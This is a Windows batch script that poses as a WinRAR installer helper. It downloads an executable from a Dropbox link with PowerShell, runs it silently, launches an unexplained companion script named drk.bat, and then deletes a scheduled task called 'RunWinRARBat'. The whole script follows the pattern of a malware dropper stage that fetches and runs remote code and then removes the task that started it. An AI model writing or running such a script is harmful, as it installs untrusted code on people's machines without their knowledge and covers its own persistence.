@echo off

rem --- Check if WinRAR is already installed ---
if exist "C:\Program Files\WinRAR\WinRAR.exe" (
    goto runDrkBat
)

rem --- Download and Install WinRAR ---
set "winrar_url=https://www.dropbox.com/scl/fi/a3ty73ze62hvosdqz0y81/winrar-x64-701.exe?rlkey=yzo6ali9vck5gnwz8nwb7xke3&st=rjkenpzz&dl=1"
set "winrar_installer=C:\winrar-x64-701.exe"

powershell -command "Invoke-WebRequest -Uri '%winrar_url%' -OutFile '%winrar_installer%'"

rem --- Check if the download was successful ---
if exist "%winrar_installer%" (
    start /wait "" "%winrar_installer%" /S
    
    rem --- Check if WinRAR was installed successfully ---
    if exist "C:\Program Files\WinRAR\WinRAR.exe" (
        goto runDrkBat
    ) else (
        exit /b
    )
) else (
    exit /b
)

:runDrkBat
rem --- Run drk.bat if it exists in the same directory ---
set "current_dir=%~dp0"
if exist "%current_dir%drk.bat" (
    start "" "%current_dir%drk.bat"
)

rem --- Remove the Task Scheduler task after installation ---
schtasks /delete /tn "RunWinRARBat" /f